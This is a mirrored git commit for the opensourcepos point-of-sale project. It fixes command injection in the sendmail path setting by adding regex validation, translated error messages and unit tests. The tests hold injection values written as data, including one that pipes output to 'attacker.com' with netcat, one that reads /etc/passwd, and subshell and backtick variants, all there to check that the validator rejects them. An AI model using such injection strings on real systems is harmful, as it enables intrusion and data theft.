mirror of
https://github.com/opensourcepos/opensourcepos.git
synced 2026-05-19 14:01:38 -04:00
fix(security): prevent command injection in sendmail path configuration
Add validation for the mailpath POST parameter to prevent command injection attacks. The path is validated to only allow alphanumeric characters, underscores, dashes, forward slashes, and dots. - Required mailpath when protocol is "sendmail" - Validates format for all non-empty mailpath values - Blocks common injection vectors: ; | & ` $() spaces newlines - Added mailpath_invalid translation to all 43 language files - Simplified validation logic to avoid redundant conditions Files changed: - app/Controllers/Config.php: Add regex validation with protocol check - app/Language/*/Config.php: Add mailpath_invalid error message (43 languages) - tests/Controllers/ConfigTest.php: Unit tests for validation
This commit is contained in:
@@ -504,9 +504,24 @@ class Config extends Secure_Controller
|
||||
$password = $this->encrypter->encrypt($this->request->getPost('smtp_pass'));
|
||||
}
|
||||
|
||||
$protocol = $this->request->getPost('protocol');
|
||||
$mailpath = $this->request->getPost('mailpath');
|
||||
|
||||
// Validate mailpath: required for sendmail, optional for others but must be safe if provided
|
||||
$isMailpathRequired = ($protocol === 'sendmail');
|
||||
$isMailpathProvided = !empty($mailpath);
|
||||
$isMailpathValid = $isMailpathProvided && preg_match('/^[a-zA-Z0-9_\-\/.]+$/', $mailpath);
|
||||
|
||||
if (($isMailpathRequired && !$isMailpathProvided) || ($isMailpathProvided && !$isMailpathValid)) {
|
||||
return $this->response->setJSON([
|
||||
'success' => false,
|
||||
'message' => lang('Config.mailpath_invalid')
|
||||
]);
|
||||
}
|
||||
|
||||
$batch_save_data = [
|
||||
'protocol' => $this->request->getPost('protocol'),
|
||||
'mailpath' => $this->request->getPost('mailpath'),
|
||||
'protocol' => $protocol,
|
||||
'mailpath' => $mailpath,
|
||||
'smtp_host' => $this->request->getPost('smtp_host'),
|
||||
'smtp_user' => $this->request->getPost('smtp_user'),
|
||||
'smtp_pass' => $password,
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "يمين",
|
||||
"sales_invoice_format" => "شكل فاتورة البيع",
|
||||
"sales_quote_format" => "شكل فاتورة عرض الاسعار",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "تم حفظ التهيئة بنجاح.",
|
||||
"saved_unsuccessfully" => "لم يتم حفظ التهيئة بنجاح.",
|
||||
"security_issue" => "تحذير من ثغرة أمنية",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "يمين",
|
||||
"sales_invoice_format" => "شكل فاتورة البيع",
|
||||
"sales_quote_format" => "شكل فاتورة عرض الاسعار",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "تم حفظ التهيئة بنجاح.",
|
||||
"saved_unsuccessfully" => "لم يتم حفظ التهيئة بنجاح.",
|
||||
"security_issue" => "تحذير من ثغرة أمنية",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Konfiqurasiya ugursuz oldu saxlanilmadi",
|
||||
"sales_invoice_format" => "Satış Fatura Formatı",
|
||||
"sales_quote_format" => "Satış Sitat Formati",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "Konfiqurasiya uğurla saxlanıldı.",
|
||||
"saved_unsuccessfully" => "Konfiqurasiyanı saxlamq mümkün olmadı.",
|
||||
"security_issue" => "Təhlükəsizlik açığı xəbərdarlığı",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Right",
|
||||
"sales_invoice_format" => "Sales Invoice Format",
|
||||
"sales_quote_format" => "Sales Quote Format",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "Configuration save successful.",
|
||||
"saved_unsuccessfully" => "Configuration save failed.",
|
||||
"security_issue" => "Security Vulnerability Warning",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Desno",
|
||||
"sales_invoice_format" => "Format fakture",
|
||||
"sales_quote_format" => "Format navedene prodaje",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "Konfiguracija je uspješno snimljena.",
|
||||
"saved_unsuccessfully" => "Konfiguracija nije uspješno snimljena.",
|
||||
"security_issue" => "Upozorenje o sigurnosnoj ranjivosti",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "",
|
||||
"sales_invoice_format" => "",
|
||||
"sales_quote_format" => "",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "",
|
||||
"saved_unsuccessfully" => "",
|
||||
"security_issue" => "Security Vulnerability Warning",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Right",
|
||||
"sales_invoice_format" => "Sales Invoice Format",
|
||||
"sales_quote_format" => "Sales Quote Format",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "Configuration save successful.",
|
||||
"saved_unsuccessfully" => "Configuration save failed.",
|
||||
"security_issue" => "Security Vulnerability Warning",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Right",
|
||||
"sales_invoice_format" => "Format Verkaufsrechnung",
|
||||
"sales_quote_format" => "",
|
||||
"mailpath_invalid" => "Ungültiger Sendmail-Pfad. Nur Buchstaben, Zahlen, Bindestriche, Unterstriche, Schrägstriche und Punkte sind erlaubt.",
|
||||
"saved_successfully" => "Einstellungen erfolgreich gesichert",
|
||||
"saved_unsuccessfully" => "Einstellungen konnten nicht gesichert werden",
|
||||
"security_issue" => "Security Vulnerability Warning",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Rechts",
|
||||
"sales_invoice_format" => "Format Verkaufsrechnung",
|
||||
"sales_quote_format" => "Angebotsformat",
|
||||
"mailpath_invalid" => "Ungültiger Sendmail-Pfad. Nur Buchstaben, Zahlen, Bindestriche, Unterstriche, Schrägstriche und Punkte sind erlaubt.",
|
||||
"saved_successfully" => "Einstellungen erfolgreich gesichert.",
|
||||
"saved_unsuccessfully" => "Einstellungen konnten nicht gesichert werden.",
|
||||
"security_issue" => "Security Vulnerability Warning",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "",
|
||||
"sales_invoice_format" => "",
|
||||
"sales_quote_format" => "",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "",
|
||||
"saved_unsuccessfully" => "",
|
||||
"security_issue" => "Security Vulnerability Warning",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Right",
|
||||
"sales_invoice_format" => "Sales Invoice Format",
|
||||
"sales_quote_format" => "Sales Quote Format",
|
||||
"mailpath_invalid" => "Invalid sendmail path. Only letters, numbers, dashes, underscores, slashes and dots are allowed.",
|
||||
"saved_successfully" => "Configuration saved successfully.",
|
||||
"saved_unsuccessfully" => "Configuration save failed.",
|
||||
"security_issue" => "Security Vulnerability Warning",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Right",
|
||||
"sales_invoice_format" => "Sales Invoice Format",
|
||||
"sales_quote_format" => "Sales Quote Format",
|
||||
"mailpath_invalid" => "Invalid sendmail path. Only letters, numbers, dashes, underscores, slashes and dots are allowed.",
|
||||
"saved_successfully" => "Configuration save successful.",
|
||||
"saved_unsuccessfully" => "Configuration save failed.",
|
||||
"security_issue" => "Security Vulnerability Warning",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Derecha",
|
||||
"sales_invoice_format" => "Formato de Facturas de Venta",
|
||||
"sales_quote_format" => "Formato de presupuesto de las ventas",
|
||||
"mailpath_invalid" => "Ruta de sendmail inválida. Solo se permiten letras, números, guiones, guiones bajos, barras y puntos.",
|
||||
"saved_successfully" => "Configuración guardada satisfactoriamente.",
|
||||
"saved_unsuccessfully" => "Configuración no guardada.",
|
||||
"security_issue" => "Advertencia de vulnerabilidad de seguridad",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Right",
|
||||
"sales_invoice_format" => "Sales Invoice Format",
|
||||
"sales_quote_format" => "Sales Quote Format",
|
||||
"mailpath_invalid" => "Ruta de sendmail inválida. Solo se permiten letras, números, guiones, guiones bajos, barras y puntos.",
|
||||
"saved_successfully" => "Configuration save successful.",
|
||||
"saved_unsuccessfully" => "Configuration save failed.",
|
||||
"security_issue" => "Security Vulnerability Warning",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "درست",
|
||||
"sales_invoice_format" => "قالب فاکتور فروش",
|
||||
"sales_quote_format" => "قالب فروش قیمت",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "پیکربندی ذخیره موفقیت آمیز است.",
|
||||
"saved_unsuccessfully" => "ذخیره پیکربندی انجام نشد.",
|
||||
"security_issue" => "هشدار آسیب پذیری امنیتی",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Droite",
|
||||
"sales_invoice_format" => "Format de la facture de vente",
|
||||
"sales_quote_format" => "Format de devis de vente",
|
||||
"mailpath_invalid" => "Chemin sendmail invalide. Seuls les lettres, chiffres, tirets, underscores, barres obliques et points sont autorisés.",
|
||||
"saved_successfully" => "Configuration enregistrer avec succès.",
|
||||
"saved_unsuccessfully" => "L'enregistrement de configuration a échoué.",
|
||||
"security_issue" => "Avertissement de faille de sécurité",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "ימין",
|
||||
"sales_invoice_format" => "תבנית חשבונית מכירות",
|
||||
"sales_quote_format" => "תבנית חשבונית הצעת מחיר",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "ההגדרות נשמרו בהצלחה.",
|
||||
"saved_unsuccessfully" => "שמירת ההגדרות נכשלה.",
|
||||
"security_issue" => "Security Vulnerability Warning",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Right",
|
||||
"sales_invoice_format" => "Oblik fakture",
|
||||
"sales_quote_format" => "",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "Konfiguracija je uspješno snimljena",
|
||||
"saved_unsuccessfully" => "Konfiguracija nije uspješno snimljena",
|
||||
"security_issue" => "Security Vulnerability Warning",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Jobb",
|
||||
"sales_invoice_format" => "Eladási számla formátum",
|
||||
"sales_quote_format" => "",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "Beállítások sikeresen elmentve",
|
||||
"saved_unsuccessfully" => "Beállítások mentése sikertelen",
|
||||
"security_issue" => "Security Vulnerability Warning",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "",
|
||||
"sales_invoice_format" => "",
|
||||
"sales_quote_format" => "",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "",
|
||||
"saved_unsuccessfully" => "",
|
||||
"security_issue" => "",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Destra",
|
||||
"sales_invoice_format" => "Formato Fattura di Vendita",
|
||||
"sales_quote_format" => "Formato Preventivo",
|
||||
"mailpath_invalid" => "Percorso sendmail non valido. Sono ammessi solo lettere, numeri, trattini, trattini bassi, barre e punti.",
|
||||
"saved_successfully" => "Configurazione salvata correttamente.",
|
||||
"saved_unsuccessfully" => "Salvataggio Configurazione Fallito.",
|
||||
"security_issue" => "Security Vulnerability Warning",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "",
|
||||
"sales_invoice_format" => "",
|
||||
"sales_quote_format" => "",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "",
|
||||
"saved_unsuccessfully" => "",
|
||||
"security_issue" => "Security Vulnerability Warning",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Right",
|
||||
"sales_invoice_format" => "Sales Invoice Format",
|
||||
"sales_quote_format" => "Sales Quote Format",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "Configuration save successful.",
|
||||
"saved_unsuccessfully" => "Configuration save failed.",
|
||||
"security_issue" => "Security Vulnerability Warning",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "",
|
||||
"sales_invoice_format" => "",
|
||||
"sales_quote_format" => "",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "",
|
||||
"saved_unsuccessfully" => "",
|
||||
"security_issue" => "Security Vulnerability Warning",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "",
|
||||
"sales_invoice_format" => "",
|
||||
"sales_quote_format" => "",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "",
|
||||
"saved_unsuccessfully" => "",
|
||||
"security_issue" => "",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Rechts",
|
||||
"sales_invoice_format" => "Formattering Aankoop #",
|
||||
"sales_quote_format" => "Offerte formaat",
|
||||
"mailpath_invalid" => "Ongeldig sendmail pad. Alleen letters, cijfers, strepen, underscores, slashes en punten zijn toegestaan.",
|
||||
"saved_successfully" => "Configuratie werd bewaard.",
|
||||
"saved_unsuccessfully" => "Configuratie kon niet worden bewaard.",
|
||||
"security_issue" => "Waarschuwing voor Veiligheidslek",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Rechts",
|
||||
"sales_invoice_format" => "Indeling verkoopfactuur",
|
||||
"sales_quote_format" => "Indeling verkoopofferte",
|
||||
"mailpath_invalid" => "Ongeldig sendmail pad. Alleen letters, cijfers, strepen, underscores, slashes en punten zijn toegestaan.",
|
||||
"saved_successfully" => "Configuratie opgeslagen.",
|
||||
"saved_unsuccessfully" => "Configuratie opslaan mislukt.",
|
||||
"security_issue" => "Beveilingskwetsbaarheid waarschuwing",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Direita",
|
||||
"sales_invoice_format" => "Formato da Fatura de Vendas",
|
||||
"sales_quote_format" => "Formato de cotação de vendas",
|
||||
"mailpath_invalid" => "Caminho do sendmail inválido. Apenas letras, números, traços, sublinhados, barras e pontos são permitidos.",
|
||||
"saved_successfully" => "Configuração salva com sucesso.",
|
||||
"saved_unsuccessfully" => "Configuração não salva.",
|
||||
"security_issue" => "Security Vulnerability Warning",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "",
|
||||
"sales_invoice_format" => "",
|
||||
"sales_quote_format" => "",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "",
|
||||
"saved_unsuccessfully" => "",
|
||||
"security_issue" => "Security Vulnerability Warning",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Справа",
|
||||
"sales_invoice_format" => "Формат накладной для продаж",
|
||||
"sales_quote_format" => "Формат предложений на продажу",
|
||||
"mailpath_invalid" => "Неверный путь sendmail. Разрешены только буквы, цифры, дефисы, подчеркивания, слеши и точки.",
|
||||
"saved_successfully" => "Конфигурация успешно сохранена.",
|
||||
"saved_unsuccessfully" => "Произошла ошибка при сохранении конфигурации.",
|
||||
"security_issue" => "Предупреждение об уязвимости системы безопасности",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Höger",
|
||||
"sales_invoice_format" => "Försäljningsfakturaformat",
|
||||
"sales_quote_format" => "Försäljningsquotaformat",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "Konfigurationen sparades.",
|
||||
"saved_unsuccessfully" => "Konfigurationsbesparingen misslyckades.",
|
||||
"security_issue" => "Varning för säkerhetsrisker",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Kulia",
|
||||
"sales_invoice_format" => "Muundo wa Ankara ya Mauzo",
|
||||
"sales_quote_format" => "Muundo wa Nukuu ya Mauzo",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "Mpangilio umehifadhiwa kwa mafanikio.",
|
||||
"saved_unsuccessfully" => "Mpangilio umeshindwa kuhifadhiwa.",
|
||||
"security_issue" => "Onyo la Udhaifu wa Usalama",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Kulia",
|
||||
"sales_invoice_format" => "Muundo wa Ankara ya Mauzo",
|
||||
"sales_quote_format" => "Muundo wa Nukuu ya Mauzo",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "Mpangilio umehifadhiwa kwa mafanikio.",
|
||||
"saved_unsuccessfully" => "Mpangilio umeshindwa kuhifadhiwa.",
|
||||
"security_issue" => "Onyo la Udhaifu wa Usalama",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Right",
|
||||
"sales_invoice_format" => "Sales Invoice Format",
|
||||
"sales_quote_format" => "Sales Quote Format",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "Configuration save successful.",
|
||||
"saved_unsuccessfully" => "Configuration save failed.",
|
||||
"security_issue" => "Security Vulnerability Warning",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "ถูกต้อง",
|
||||
"sales_invoice_format" => "รหัสใบเสร็จ",
|
||||
"sales_quote_format" => "รูปแบบใบเสนอราคาขาย",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "บันทึกข้อมูลร้านค้าเรียบร้อยแล้ว",
|
||||
"saved_unsuccessfully" => "บันทึกข้อมูลร้านค้าไม่สำเร็จ",
|
||||
"security_issue" => "คำเตือนช่องโหว่ด้านความปลอดภัย",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Right",
|
||||
"sales_invoice_format" => "Sales Invoice Format",
|
||||
"sales_quote_format" => "Sales Quote Format",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "Configuration save successful.",
|
||||
"saved_unsuccessfully" => "Configuration save failed.",
|
||||
"security_issue" => "Security Vulnerability Warning",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Sağ",
|
||||
"sales_invoice_format" => "Satış Fatura Biçimi",
|
||||
"sales_quote_format" => "Satış Teklif Biçimi",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "Yapılandırma kaydedildi.",
|
||||
"saved_unsuccessfully" => "Yapılandırma kaydedilemedi.",
|
||||
"security_issue" => "Güvenlik Arıklığı Uyarısı",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Право",
|
||||
"sales_invoice_format" => "Формат рахунків-фактур продажів",
|
||||
"sales_quote_format" => "Формат котирування продажів",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "Конфігурація успішно збережена",
|
||||
"saved_unsuccessfully" => "Помилка збереження конфігурації",
|
||||
"security_issue" => "Попередження про вразливість системи безпеки",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "",
|
||||
"sales_invoice_format" => "",
|
||||
"sales_quote_format" => "",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "",
|
||||
"saved_unsuccessfully" => "",
|
||||
"security_issue" => "Security Vulnerability Warning",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Phải",
|
||||
"sales_invoice_format" => "Định dạng Hóa đơn bán hàng",
|
||||
"sales_quote_format" => "Định dạng Báo giá bán hàng",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "Cấu hình được lưu thành công.",
|
||||
"saved_unsuccessfully" => "Gặp lỗi khi lưu cấu hình.",
|
||||
"security_issue" => "Cảnh báo về lỗ hổng bảo mật",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Right",
|
||||
"sales_invoice_format" => "Sales Invoice Format",
|
||||
"sales_quote_format" => "",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "組態設置儲存成功",
|
||||
"saved_unsuccessfully" => "組態設置儲存失敗",
|
||||
"security_issue" => "Security Vulnerability Warning",
|
||||
|
||||
@@ -282,6 +282,7 @@ return [
|
||||
"right" => "Right",
|
||||
"sales_invoice_format" => "銷售發票格式",
|
||||
"sales_quote_format" => "銷售報價格式",
|
||||
"mailpath_invalid" => "",
|
||||
"saved_successfully" => "組態設置儲存成功.",
|
||||
"saved_unsuccessfully" => "組態設置儲存失敗.",
|
||||
"security_issue" => "安全漏洞警告",
|
||||
|
||||
221
tests/Controllers/ConfigTest.php
Normal file
221
tests/Controllers/ConfigTest.php
Normal file
@@ -0,0 +1,221 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Controllers;
|
||||
|
||||
use CodeIgniter\Test\CIUnitTestCase;
|
||||
use CodeIgniter\Test\DatabaseTestTrait;
|
||||
use CodeIgniter\Test\FeatureTestTrait;
|
||||
use CodeIgniter\Config\Services;
|
||||
|
||||
class ConfigTest extends CIUnitTestCase
|
||||
{
|
||||
use DatabaseTestTrait;
|
||||
use FeatureTestTrait;
|
||||
|
||||
protected $migrate = true;
|
||||
protected $migrateOnce = true;
|
||||
protected $refresh = false;
|
||||
protected $namespace = null;
|
||||
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
}
|
||||
|
||||
protected function resetSession(): void
|
||||
{
|
||||
$session = Services::session();
|
||||
$session->destroy();
|
||||
$session->set('person_id', 1);
|
||||
$session->set('menu_group', 'office');
|
||||
}
|
||||
|
||||
// ========== Valid Mailpath Tests ==========
|
||||
|
||||
public function testValidMailpath_AcceptsStandardPath(): void
|
||||
{
|
||||
$this->resetSession();
|
||||
|
||||
$response = $this->post('/config/saveEmail', [
|
||||
'protocol' => 'sendmail',
|
||||
'mailpath' => '/usr/sbin/sendmail'
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
$result = json_decode($response->getJSON(), true);
|
||||
$this->assertTrue($result['success']);
|
||||
}
|
||||
|
||||
public function testValidMailpath_AcceptsPathWithDots(): void
|
||||
{
|
||||
$this->resetSession();
|
||||
|
||||
$response = $this->post('/config/saveEmail', [
|
||||
'protocol' => 'sendmail',
|
||||
'mailpath' => '/usr/local/bin/sendmail.local'
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
$result = json_decode($response->getJSON(), true);
|
||||
$this->assertTrue($result['success']);
|
||||
}
|
||||
|
||||
public function testValidMailpath_AcceptsEmptyStringForNonSendmailProtocol(): void
|
||||
{
|
||||
$this->resetSession();
|
||||
|
||||
$response = $this->post('/config/saveEmail', [
|
||||
'protocol' => 'mail',
|
||||
'mailpath' => ''
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
$result = json_decode($response->getJSON(), true);
|
||||
$this->assertTrue($result['success']);
|
||||
}
|
||||
|
||||
public function testSendmailProtocol_RequiresMailpath(): void
|
||||
{
|
||||
$this->resetSession();
|
||||
|
||||
$response = $this->post('/config/saveEmail', [
|
||||
'protocol' => 'sendmail',
|
||||
'mailpath' => ''
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
$result = json_decode($response->getJSON(), true);
|
||||
$this->assertFalse($result['success']);
|
||||
$this->assertStringContainsString('invalid', strtolower($result['message']));
|
||||
}
|
||||
|
||||
public function testNonSendmailProtocol_RejectsMaliciousMailpath(): void
|
||||
{
|
||||
$this->resetSession();
|
||||
|
||||
$response = $this->post('/config/saveEmail', [
|
||||
'protocol' => 'smtp',
|
||||
'mailpath' => '/usr/sbin/sendmail; cat /etc/passwd'
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
$result = json_decode($response->getJSON(), true);
|
||||
$this->assertFalse($result['success']);
|
||||
$this->assertStringContainsString('invalid', strtolower($result['message']));
|
||||
}
|
||||
|
||||
// ========== Command Injection Prevention Tests ==========
|
||||
|
||||
public function testMailpath_RejectsCommandInjection_Semicolon(): void
|
||||
{
|
||||
$this->resetSession();
|
||||
|
||||
$response = $this->post('/config/saveEmail', [
|
||||
'protocol' => 'sendmail',
|
||||
'mailpath' => '/usr/sbin/sendmail; cat /etc/passwd'
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
$result = json_decode($response->getJSON(), true);
|
||||
$this->assertFalse($result['success']);
|
||||
$this->assertStringContainsString('invalid', strtolower($result['message']));
|
||||
}
|
||||
|
||||
public function testMailpath_RejectsCommandInjection_Pipe(): void
|
||||
{
|
||||
$this->resetSession();
|
||||
|
||||
$response = $this->post('/config/saveEmail', [
|
||||
'protocol' => 'sendmail',
|
||||
'mailpath' => '/usr/sbin/sendmail | nc attacker.com 4444'
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
$result = json_decode($response->getJSON(), true);
|
||||
$this->assertFalse($result['success']);
|
||||
}
|
||||
|
||||
public function testMailpath_RejectsCommandInjection_And(): void
|
||||
{
|
||||
$this->resetSession();
|
||||
|
||||
$response = $this->post('/config/saveEmail', [
|
||||
'protocol' => 'sendmail',
|
||||
'mailpath' => '/usr/sbin/sendmail && whoami'
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
$result = json_decode($response->getJSON(), true);
|
||||
$this->assertFalse($result['success']);
|
||||
}
|
||||
|
||||
public function testMailpath_RejectsCommandInjection_Backtick(): void
|
||||
{
|
||||
$this->resetSession();
|
||||
|
||||
$response = $this->post('/config/saveEmail', [
|
||||
'protocol' => 'sendmail',
|
||||
'mailpath' => '/usr/sbin/`whoami`'
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
$result = json_decode($response->getJSON(), true);
|
||||
$this->assertFalse($result['success']);
|
||||
}
|
||||
|
||||
public function testMailpath_RejectsCommandInjection_Subshell(): void
|
||||
{
|
||||
$this->resetSession();
|
||||
|
||||
$response = $this->post('/config/saveEmail', [
|
||||
'protocol' => 'sendmail',
|
||||
'mailpath' => '/usr/sbin/sendmail$(id)'
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
$result = json_decode($response->getJSON(), true);
|
||||
$this->assertFalse($result['success']);
|
||||
}
|
||||
|
||||
public function testMailpath_RejectsCommandInjection_SpaceInPath(): void
|
||||
{
|
||||
$this->resetSession();
|
||||
|
||||
$response = $this->post('/config/saveEmail', [
|
||||
'protocol' => 'sendmail',
|
||||
'mailpath' => '/usr/sbin/sendmail -t -i'
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
$result = json_decode($response->getJSON(), true);
|
||||
$this->assertFalse($result['success']);
|
||||
}
|
||||
|
||||
public function testMailpath_RejectsCommandInjection_Newline(): void
|
||||
{
|
||||
$this->resetSession();
|
||||
|
||||
$response = $this->post('/config/saveEmail', [
|
||||
'protocol' => 'sendmail',
|
||||
'mailpath' => "/usr/sbin/sendmail\n/bin/bash"
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
$result = json_decode($response->getJSON(), true);
|
||||
$this->assertFalse($result['success']);
|
||||
}
|
||||
|
||||
public function testMailpath_RejectsCommandInjection_DollarSign(): void
|
||||
{
|
||||
$this->resetSession();
|
||||
|
||||
$response = $this->post('/config/saveEmail', [
|
||||
'protocol' => 'sendmail',
|
||||
'mailpath' => '/usr/sbin/$SENDMAIL'
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
$result = json_decode($response->getJSON(), true);
|
||||
$this->assertFalse($result['success']);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user